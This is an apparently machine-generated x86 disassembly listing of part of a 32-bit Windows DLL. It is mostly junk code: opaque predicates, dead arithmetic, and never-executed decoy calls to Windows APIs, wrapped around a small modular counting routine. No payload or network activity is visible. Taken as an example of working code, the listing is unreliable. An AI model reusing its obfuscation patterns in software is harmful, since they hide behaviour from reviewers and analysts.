jne 0x10018013
and dword [ebp - 0x600], 0
jmp 0x1001801d
mov dword [ebp - 0x600], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x948]
cmp dword [ebp - 0x600], eax
jg 0x1001803e
mov dword [ebp - 0x914], 1
jmp 0x10018045
and dword [ebp - 0x914], 0
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x914]
jg 0x10018068
mov dword [ebp - 0x608], 1
jmp 0x1001806f
and dword [ebp - 0x608], 0
imul eax, dword [ebp - 0x608], 0xeed0
cmp eax, 0x79a7
jl 0x1001808c
mov dword [ebp - 0x7a8], 1
jmp 0x10018093
and dword [ebp - 0x7a8], 0
cmp dword [ebp - 0x7a8], 0xffffffff
je 0x100180b1
cmp dword [ebp - 0x80], 0
jne 0x100180b1
cmp dword [ebp - 0x80], 0
jne 0x100180b1
and dword [ebp - 0x610], 0
jmp 0x100180bb
mov dword [ebp - 0x610], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x948]
cmp dword [ebp - 0x610], eax
jg 0x100180dc
mov dword [ebp - 0x878], 1
jmp 0x100180e3
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x878]
add eax, 9
cmp eax, dword [ebp - 0x9ac]
jge 0x10018100
mov dword [ebp - 0x618], 1
jmp 0x10018107
and dword [ebp - 0x618], 0
cmp dword [ebp - 0x618], 0
jl 0x1001811c
mov dword [ebp - 0x7b0], 1
jmp 0x10018123
and dword [ebp - 0x7b0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7b0]
mov dword [ebp + eax - 0x948], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x420]
call fcn.100217e7
and dword [ebp - 0x350], 0
jmp 0x1001815b
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0xe
jae 0x100186a3
mov dword [ebp - 0xc0], 0xfffffffc
mov dword [ebp - 0x130], 0x10e6
mov dword [ebp - 0x138], 7
mov dword [ebp - 0x1c4], 0xffffffff
mov dword [ebp - 0x620], 0x3977
mov dword [ebp - 0x9b4], 0x100078e8
cmp dword [ebp - 0x620], 0x3bd4
jle 0x10018254
and dword [ebp - 0x338], 0
jmp 0x100181ca
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x1929
jge 0x10018254
and dword [ebp - 0x2b8], 0
jmp 0x100181ec
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x3516
jge 0x1001824f
mov eax, dword [ebp - 0x338]
or eax, dword [ebp - 0x2b8]
cdq
mov dword [ebp - 0x9dc], eax
mov dword [ebp - 0x9d8], edx
push dword [ebp - 0x9d8]
push dword [ebp - 0x9dc]
lea ecx, [ebp - 0x1078]
call fcn.1000a76e
pop ecx
pop ecx
mov dword [ebp - 0x9f0], eax
mov ecx, dword [ebp - 0x9f0]
call fcn.100214f8
push eax
call fcn.10055ddf
pop ecx
lea ecx, [ebp - 0x1078]
call fcn.100214ee
jmp 0x100181df
jmp 0x100181bd
mov dword [ebp - 0xdc0], 0x69719efc
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x620], 0x378b
jge 0x1001827d
push dword [ebp - 0x9b4]
call fcn.10055ddf
pop ecx
jmp 0x10018299
or dword [ebp - 4], 0xffffffff
jmp 0x100182a3
mov dword [ebp - 0xcb0], 0xc6a332e5
mov dword [ebp - 0xeb4], 0xe34d1cd0
mov dword [ebp - 0xcb8], 0x1b860076
mov dword [ebp - 0xdc8], 0x75a8055a
mov dword [ebp - 0xcc0], 0
mov dword [ebp - 0xf00], 0xab76a10b
mov dword [ebp - 0xcc8], 0xfffffff7
mov dword [ebp - 0x648], 0xc5fd78db
mov dword [ebp - 0x340], 0
jmp 0x1001830c
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 4
jge 0x10018328
mov eax, dword [ebp - 0x340]
mov dword [ebp + eax*4 - 0x10c4], 0xc3b36352
jmp 0x100182ff
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xcd0], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xebc], eax
cmp dword [ebp - 0xc0], 0
jg 0x10018361
mov dword [ebp - 0x8e4], 1
jmp 0x10018368
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x8e4]
add eax, 0x2d34
cmp eax, 0x4198
jge 0x10018386
mov dword [ebp - 0x628], 1
jmp 0x1001838d
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x628], eax
jl 0x100183a7
mov dword [ebp - 0x7b8], 1
jmp 0x100183ae
and dword [ebp - 0x7b8], 0
cmp dword [ebp - 0x7b8], 0xb4dfecbe
jb 0x100183c6
mov dword [ebp - 0x9f8], 1
jmp 0x100183cd
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xcd8], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0xc0], eax
jle 0x100183ff
mov dword [ebp - 0x630], 1
jmp 0x10018406
and dword [ebp - 0x630], 0
cmp dword [ebp - 0x630], 7
jne 0x10018421
cmp dword [ebp - 0x130], 0
jne 0x10018421
and dword [ebp - 0x880], 0
jmp 0x1001842b
mov dword [ebp - 0x880], 1
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
imul eax, dword [ebp - 0xc0]
test eax, eax
jne 0x10018455
mov eax, 0x467b
test eax, eax
je 0x100185ea
cmp dword [ebp - 0x130], 0
je 0x100185ea
mov dword [ebp - 0x348], 0x2ae4
push 3
lea ecx, [ebp - 0xbfc]
call fcn.10021765
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x2c0], 0
jmp 0x10018499
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 3
jge 0x100184bb
push dword [ebp - 0x2c0]
lea ecx, [ebp - 0xbfc]
call fcn.1002185c
mov dword [eax], 0xa832397b
jmp 0x1001848c
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0xce0], eax
mov dword [ebp - 0x1c4], 0x61c44381
cmp dword [ebp - 0x130], 2
jne 0x100184e6
mov dword [ebp - 0x638], 1
jmp 0x100184ed
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x638]
sub eax, dword [ebp - 0x348]
imul eax, dword [ebp - 0xc0]
test eax, eax
jg 0x10018510
mov dword [ebp - 0x7c0], 1
jmp 0x10018517
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x7c0], eax
jne 0x10018531
mov dword [ebp - 0x3b8], 1
jmp 0x10018538
and dword [ebp - 0x3b8], 0
push 0
lea ecx, [ebp - 0xbfc]
call fcn.1002185c
mov ecx, dword [ebp - 0x3b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x3b8], eax
jge 0x10018567
mov dword [ebp - 0x640], 1
jmp 0x1001856e
and dword [ebp - 0x640], 0
cmp dword [ebp - 0x640], 2
jbe 0x10018583
mov dword [ebp - 0x92c], 1
jmp 0x1001858a
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x348]
imul eax, dword [ebp - 0x92c]
imul eax, dword [ebp - 0x348]
sub eax, 0x41d2c2b9
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x100185d6
push 0
push 0x1e6e
push 0
push 0
push 0x9b7
push 0xc58
call dword [sym.imp.USER32.dll_ToAsciiEx]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbfc]
call fcn.100217e7
jmp 0x10018683
mov dword [ebp - 0x2c8], 0
jmp 0x10018603
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 3
jge 0x1001861f
mov eax, dword [ebp - 0x2c8]
mov dword [ebp + eax*4 - 0x1060], 0xb964069a
jmp 0x100185f6
mov dword [ebp - 0x138], 2
jmp 0x10018638
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jl 0x10018683
mov dword [ebp - 0x1c4], 0
jmp 0x1001865a
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jg 0x10018681
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x1001867f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x1001864d
jmp 0x1001862b
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
mov eax, dword [ebp - 0x350]
mov byte [ebp + eax - 0x97c], 0
jmp 0x1001814e
push 2
lea ecx, [ebp - 0x238]
call fcn.10021765
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x9bc], 0x15f84255
mov dword [ebp - 0xa00], 0x88a9
mov dword [ebp - 0x658], 0xffffffff
mov dword [ebp - 0x668], 0x9e62b560
mov dword [ebp - 0x9c4], 3
mov dword [ebp - 0xf38], 3
push 1
lea ecx, [ebp - 0xe44]
call fcn.10021765
mov byte [ebp - 4], 0x10
mov dword [ebp - 0xc50], 0
mov dword [ebp - 0xdf8], 0xffffffff
mov dword [ebp - 0x7e0], 0xffffffff
mov dword [ebp - 0x88], 0
jmp 0x1001873b
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1001875d
push dword [ebp - 0x88]
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov dword [eax], 7
jmp 0x1001872e
mov dword [ebp - 0x88], 0
jmp 0x10018776
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x10018798
push dword [ebp - 0x88]
lea ecx, [ebp - 0xe44]
call fcn.1002185c
mov dword [eax], 0x457a23a3
jmp 0x10018769
xor eax, eax
inc eax
je 0x10018983
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
imul esi, dword [eax], 0xbde6
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
cmp esi, dword [eax]
je 0x100187d1
mov dword [ebp - 0x7c8], 1
jmp 0x100187d8
and dword [ebp - 0x7c8], 0
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov esi, eax
push 0
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov ecx, dword [ebp - 0x7c8]
imul ecx, dword [eax]
cmp dword [esi], ecx
jl 0x1001880d
mov dword [ebp - 0x650], 1
jmp 0x10018814
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x9bc], eax
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov esi, eax
push 0
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov edi, eax
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov ecx, dword [edi]
add ecx, dword [eax]
sub ecx, dword [ebp - 0xa00]
add ecx, dword [esi]
je 0x10018877
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
cmp dword [eax], 0
je 0x10018877
mov dword [ebp - 0x888], 1
jmp 0x1001887e
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 0xfffffffb
jb 0x1001889f
mov dword [ebp - 0x7d0], 1
jmp 0x100188a6
and dword [ebp - 0x7d0], 0
cmp dword [ebp - 0x7d0], 0x90
jl 0x100188be
mov dword [ebp - 0x660], 1
jmp 0x100188c5
and dword [ebp - 0x660], 0
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov ecx, dword [ebp - 0x660]
cmp ecx, dword [eax]
je 0x100188e8
mov dword [ebp - 0x8ec], 1
jmp 0x100188ef
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x668], eax
mov esi, dword [ebp - 0x668]
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
cmp esi, dword [eax]
jl 0x1001891e
mov dword [ebp - 0x7d8], 1
jmp 0x10018925
and dword [ebp - 0x7d8], 0
mov esi, dword [ebp - 0x7d8]
neg esi
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
cmp esi, dword [eax]
jge 0x1001894a
mov dword [ebp - 0x670], 1
jmp 0x10018951
and dword [ebp - 0x670], 0
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov esi, dword [ebp - 0x670]
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
cmp esi, dword [eax]
jge 0x10018983
mov dword [ebp - 0x890], 1
jmp 0x1001898a
and dword [ebp - 0x890], 0
push 1
lea ecx, [ebp - 0x238]
call fcn.1002185c
mov ecx, dword [ebp - 0x890]
add ecx, dword [eax]
cmp ecx, 0x3622ba39
jg 0x100189b3
mov dword [ebp - 0x678], 1
jmp 0x100189ba
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp - 0x7e0]
dec eax
mov dword [ebp - 0x7e0], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xe44]
call fcn.100217e7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x238]
call fcn.100217e7
mov dword [ebp - 0x2d0], 0xffffffff
push 4
lea ecx, [ebp - 0xac0]
call fcn.10021765
mov dword [ebp - 4], 0x11
push 2
lea ecx, [ebp - 0xe64]
call fcn.10021765
mov byte [ebp - 4], 0x12
mov dword [ebp - 0xa8], 0
jmp 0x10018a39
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 4
jge 0x10018a5b
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xac0]
call fcn.1002185c
mov dword [eax], 1
jmp 0x10018a2c
mov dword [ebp - 0xa8], 0
jmp 0x10018a74
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x10018a96
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xe64]
call fcn.1002185c
mov dword [eax], 0xfffffff6
jmp 0x10018a67
mov dword [ebp - 0x2d0], 5
jmp 0x10018aaf
mov eax, dword [ebp - 0x2d0]
dec eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0xfffffff3
jl 0x10018d19
mov dword [ebp - 0x1e0], 0xd09ea983
mov dword [ebp - 0x924], 0x73ae
mov dword [ebp - 0x358], 0
jmp 0x10018ae9
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 3
jge 0x10018b05
mov eax, dword [ebp - 0x358]
mov dword [ebp + eax*4 - 0x1024], 0x7c28cae2
jmp 0x10018adc
mov byte [ebp - 0xfc], 0
movzx eax, byte [ebp - 0xfc]
test eax, eax
je 0x10018b27
push 0x1a32
push 0x5e3
call dword [sym.imp.GDI32.dll_RestoreDC]
mov dword [ebp - 0x1e0], 0
jmp 0x10018b40
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 3
jg 0x10018d14
mov dword [ebp - 0x1dc], 0xd2e8588d
push 1
lea ecx, [ebp - 0xe54]
call fcn.10021765
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x2d8], 0
jmp 0x10018b81
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 1
jge 0x10018ba0
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0xe54]
call fcn.1002185c
and dword [eax], 0
jmp 0x10018b74
mov dword [ebp - 0x1dc], 3
jmp 0x10018bb9
cmp dword [ebp - 0x1dc], 0
jl 0x10018cf3
mov dword [ebp - 0x54], 0xe4562513
mov dword [ebp - 0x54], 3
jmp 0x10018bdd
cmp dword [ebp - 0x54], 0
jl 0x10018c8b
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xe54]
call fcn.100217e7
jmp 0x10018b33
jmp 0x10018aa2
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xe64]
call fcn.100217e7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac0]
call fcn.100217e7
mov dword [ebp - 0xa08], 0x1813
cmp dword [ebp - 0xa08], 0x950
jge 0x10018f46
push 0x1061963c
push 0x10619638
push 0x10007958
call fcn.10055bab
add esp, 0xc
and dword [ebp - 0x434], 0
jmp 0x10018d7e
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
cmp eax, dword [0x10619638]
jge 0x10018dff
push 0x10619640
push 0x10007960
call fcn.10055bab
pop ecx
pop ecx
and dword [ebp - 0x140], 0
jmp 0x10018db3
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
cmp eax, dword [0x1061963c]
jge 0x10018dfa
imul eax, dword [ebp - 0x140], 0x68
mov ecx, dword [ebp - 0x140]
movsx ecx, byte [ecx + 0x10619640]
mov eax, dword [eax + ecx*4 + 0x1061751c]
inc eax
mov ecx, dword [ebp - 0x140]
movsx ecx, byte [ecx + 0x10619640]
imul edx, dword [ebp - 0x140], 0x68
mov dword [edx + ecx*4 + 0x1061751c], eax
jmp 0x10018da6
jmp 0x10018d71
and dword [ebp - 0x1a4], 0
jmp 0x10018e15
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
cmp eax, dword [0x1061963c]
jge 0x10018e93
and dword [ebp - 0x368], 0
jmp 0x10018e39
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x1a
jge 0x10018e8e
imul eax, dword [ebp - 0x1a4], 0x68
mov ecx, dword [ebp - 0x368]
cmp dword [eax + ecx*4 + 0x10617620], 0
je 0x10018e65
mov dword [ebp - 0x688], 1
jmp 0x10018e6c
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax*4 + 0x10619690]
add eax, dword [ebp - 0x688]
mov ecx, dword [ebp - 0x1a4]
mov dword [ecx*4 + 0x10619690], eax
jmp 0x10018e2c
jmp 0x10018e08
mov dword [ebp - 0x3d0], 1
and dword [ebp - 0x3cc], 0
and dword [ebp - 0x1f8], 0
jmp 0x10018eba
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1f8]
cmp eax, dword [0x1061963c]
jge 0x10018f2d
mov eax, dword [ebp - 0x1f8]
cmp dword [eax*4 + 0x10619690], 0
jne 0x10018ee4
mov dword [ebp - 0x7e8], 1
jmp 0x10018ef7
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax*4 + 0x10619690]
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x7e8]
cdq
push edx
push eax
push dword [ebp - 0x3cc]
push dword [ebp - 0x3d0]
call fcn.1005a0f0
push 0
push 0x3b9aca07
push edx
push eax
call fcn.1006ddf0
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], edx
jmp 0x10018ead
push dword [ebp - 0x3cc]
push dword [ebp - 0x3d0]
push 0x10007964
call fcn.10055ddf
add esp, 0xc
mov byte [ebp - 0x25c], 3
mov byte [ebp - 0x25b], 0xcd
mov byte [ebp - 0x25a], 0xb
mov byte [ebp - 0x259], 0x12
mov byte [ebp - 0x258], 1
mov byte [ebp - 0x257], 1
mov byte [ebp - 0x256], 0xd
mov byte [ebp - 0x255], 0x25
mov byte [ebp - 0x254], 4
mov byte [ebp - 0x253], 0xe5
mov byte [ebp - 0x252], 0x6a
mov byte [ebp - 0x251], 0x15
mov byte [ebp - 0x250], 0xde
mov byte [ebp - 0x24f], 7
mov byte [ebp - 0x24e], 0x25
mov byte [ebp - 0x24d], 9
mov byte [ebp - 0x24c], 0x11
mov byte [ebp - 0x24b], 4
mov byte [ebp - 0x24a], 0x17
mov byte [ebp - 0x249], 8
mov byte [ebp - 0x248], 0x1b
mov byte [ebp - 0x247], 0xc
mov byte [ebp - 0x246], 0x1c
mov byte [ebp - 0x245], 0
mov byte [ebp - 0x244], 0x30
mov byte [ebp - 0x243], 0xa
mov byte [ebp - 0x242], 0x26
mov byte [ebp - 0x241], 5
mov byte [ebp - 0x240], 0
mov byte [ebp - 0x23f], 2
mov byte [ebp - 0x23e], 0
mov byte [ebp - 0x23d], 6
mov byte [ebp - 0x23c], 0x35
mov dword [ebp - 0xb7c], 0
mov dword [ebp - 0xb78], 0
mov dword [ebp - 0xb74], 0
mov dword [ebp - 0xb70], 0
push 2
lea ecx, [ebp - 0xc2c]
call fcn.10021765
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x18c], 0x43250e6d
mov dword [ebp - 0x9cc], 0
mov dword [ebp - 0x2e8], 0
jmp 0x10019096
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 2
jge 0x100190b8
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0xc2c]
call fcn.1002185c
mov dword [eax], 0xb96ca2cb
jmp 0x10019089
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xb7c]
mov dword [ebp - 0x690], eax
push 0
lea ecx, [ebp - 0xc2c]
call fcn.1002185c
mov ecx, dword [ebp - 0x690]
mov dword [eax], ecx
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x9cc], eax
push 4
pop eax
shl eax, 1
imul eax, dword [ebp + eax - 0xb7c], 0xffff
test eax, eax
je 0x1001914e
mov dword [ebp - 0x18c], 0xffffffee
jmp 0x10019125
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x17
jge 0x1001914c
mov byte [ebp - 0x179], 0
movzx eax, byte [ebp - 0x179]
test eax, eax
je 0x1001914a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x10019118
jmp 0x100191cd
push 3
lea ecx, [ebp - 0xc14]
call fcn.10021765
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x370], 0
jmp 0x10019178
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 3
jge 0x1001919a
push dword [ebp - 0x370]
lea ecx, [ebp - 0xc14]
call fcn.1002185c
mov dword [eax], 0x362d
jmp 0x1001916b
push 2
lea ecx, [ebp - 0xc14]
call fcn.1002185c
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x898]
mov dword [ecx], eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xc14]
call fcn.100217e7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc2c]
call fcn.100217e7
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x25c]
or eax, 0xac
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x25c]
and ecx, 0xac
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x25c]
mov byte [ebp + ecx - 0xb30], al
mov dword [ebp - 0x1e8], 0x9b3198a8
mov dword [ebp - 0xa10], 6
mov dword [ebp - 0x1e8], 0
jmp 0x10019247
cmp dword [ebp - 0x1e8], 0xffffffe3
jg 0x10019389
mov byte [ebp - 0x100], 0
movzx eax, byte [ebp - 0x100]
test eax, eax
je 0x1001927a
push 0
push 0x21e3
push 0x1be9
push 0x3f
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
cmp dword [ebp - 0x1e8], 0
je 0x10019365
push 1
lea ecx, [ebp - 0xc20]
call fcn.10021765
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x208], 0xffffffff
mov dword [ebp - 0x2f0], 0
jmp 0x100192be
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x10019384
mov dword [ebp - 0x30], 2
and dword [ebp - 0x354], 0
jmp 0x100193a1
cmp dword [ebp - 0x30], 0x21
jae 0x1001a142
mov dword [ebp - 0xb90], 0xfffffff7
mov dword [ebp - 0xb8c], 0xfffffff7
mov dword [ebp - 0xb88], 0xfffffff7
mov dword [ebp - 0xb84], 0xfffffff7
lea ecx, [ebp - 0x3fd]
call fcn.10021871
push eax
lea eax, [ebp - 0xb80]
push eax
lea eax, [ebp - 0xb90]
push eax
lea ecx, [ebp - 0xfac]
call fcn.10021874
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe74]
call fcn.100217c1
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x1f0], 0x84c506d4
mov dword [ebp - 0xcf0], 0
mov dword [ebp - 0x1f0], 3
jmp 0x1001943c
push 3
lea ecx, [ebp - 0xbf0]
call fcn.10021765
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x394], 1
mov dword [ebp - 0x314], 0
jmp 0x1001a179
mov eax, dword [0x10617618]
cmp eax, dword [ebp - 0x2d4]
je 0x1001b009
mov eax, dword [0x10619864]
cmp eax, dword [ebp - 0x2d4]
jne 0x1001b021
mov ecx, dword [ebp + 0xc]
call fcn.100214f8
push eax
push dword [ebp + 8]
call fcn.10010190
pop ecx
pop ecx
jmp 0x1001d508
mov dword [ebp - 0x44], 1
push 3
lea ecx, [ebp - 0xbd8]
call fcn.10021765
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x294], 0
jmp 0x1001b055
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 3
jge 0x1001b077
push dword [ebp - 0x294]
lea ecx, [ebp - 0xbd8]
call fcn.1002185c
mov dword [eax], 0xf84255eb
jmp 0x1001b048
mov dword [ebp - 0x44], 0
jmp 0x1001b087
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jle 0x1001b213
mov dword [ebp - 0x5e4], 0xffff
mov byte [ebp - 0x17b], 0
movzx eax, byte [ebp - 0x17b]
test eax, eax
je 0x1001b0c9
push 0x11ae
push 0x6fd
push 0x79d
push 0xacb
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
cmp dword [ebp - 0x44], 0
jne 0x1001b0f6
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0xd50], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xedc], eax
mov eax, 0x5927
test eax, eax
jne 0x1001b0f6
and dword [ebp - 0x5dc], 0
jmp 0x1001b100
mov dword [ebp - 0x5dc], 1
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x5dc], eax
jle 0x1001b117
mov dword [ebp - 0x5ec], 1
jmp 0x1001b11e
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x5ec]
jle 0x1001b138
mov dword [ebp - 0x5f4], 1
jmp 0x1001b13f
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x5f4]
jge 0x1001b156
mov dword [ebp - 0x5fc], 1
jmp 0x1001b15d
and dword [ebp - 0x5fc], 0
cmp dword [ebp - 0x5fc], 0x49cec79e
jle 0x1001b17b
cmp dword [ebp - 0x44], 0
je 0x1001b17b
mov dword [ebp - 0x604], 1
jmp 0x1001b182
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x604], eax
jl 0x1001b199
mov dword [ebp - 0x60c], 1
jmp 0x1001b1a0
and dword [ebp - 0x60c], 0
cmp dword [ebp - 0x60c], 0
jne 0x1001b1b5
mov dword [ebp - 0x614], 1
jmp 0x1001b1bc
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x614], eax
jge 0x1001b1d3
mov dword [ebp - 0x61c], 1
jmp 0x1001b1da
and dword [ebp - 0x61c], 0
cmp dword [ebp - 0x61c], 0xa81a82e7
jb 0x1001b1f2
mov dword [ebp - 0x624], 1
jmp 0x1001b1f9
and dword [ebp - 0x624], 0
push 0
lea ecx, [ebp - 0xbd8]
call fcn.1002185c
mov ecx, dword [ebp - 0x624]
mov dword [eax], ecx
jmp 0x1001b080
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbd8]
call fcn.100217e7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x1e4], 4
mov dword [ebp - 0x3e8], 0xfe012d2c
mov dword [ebp - 0x664], 0xffffffff
mov dword [ebp - 0xa8c], 0x8fb
mov byte [ebp - 0x110], 0
movzx eax, byte [ebp - 0x110]
test eax, eax
je 0x1001b26d
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
mov eax, dword [ebp - 0x1e4]
neg eax
cmp eax, dword [ebp - 0x1e4]
jl 0x1001b289
mov dword [ebp - 0x644], 1
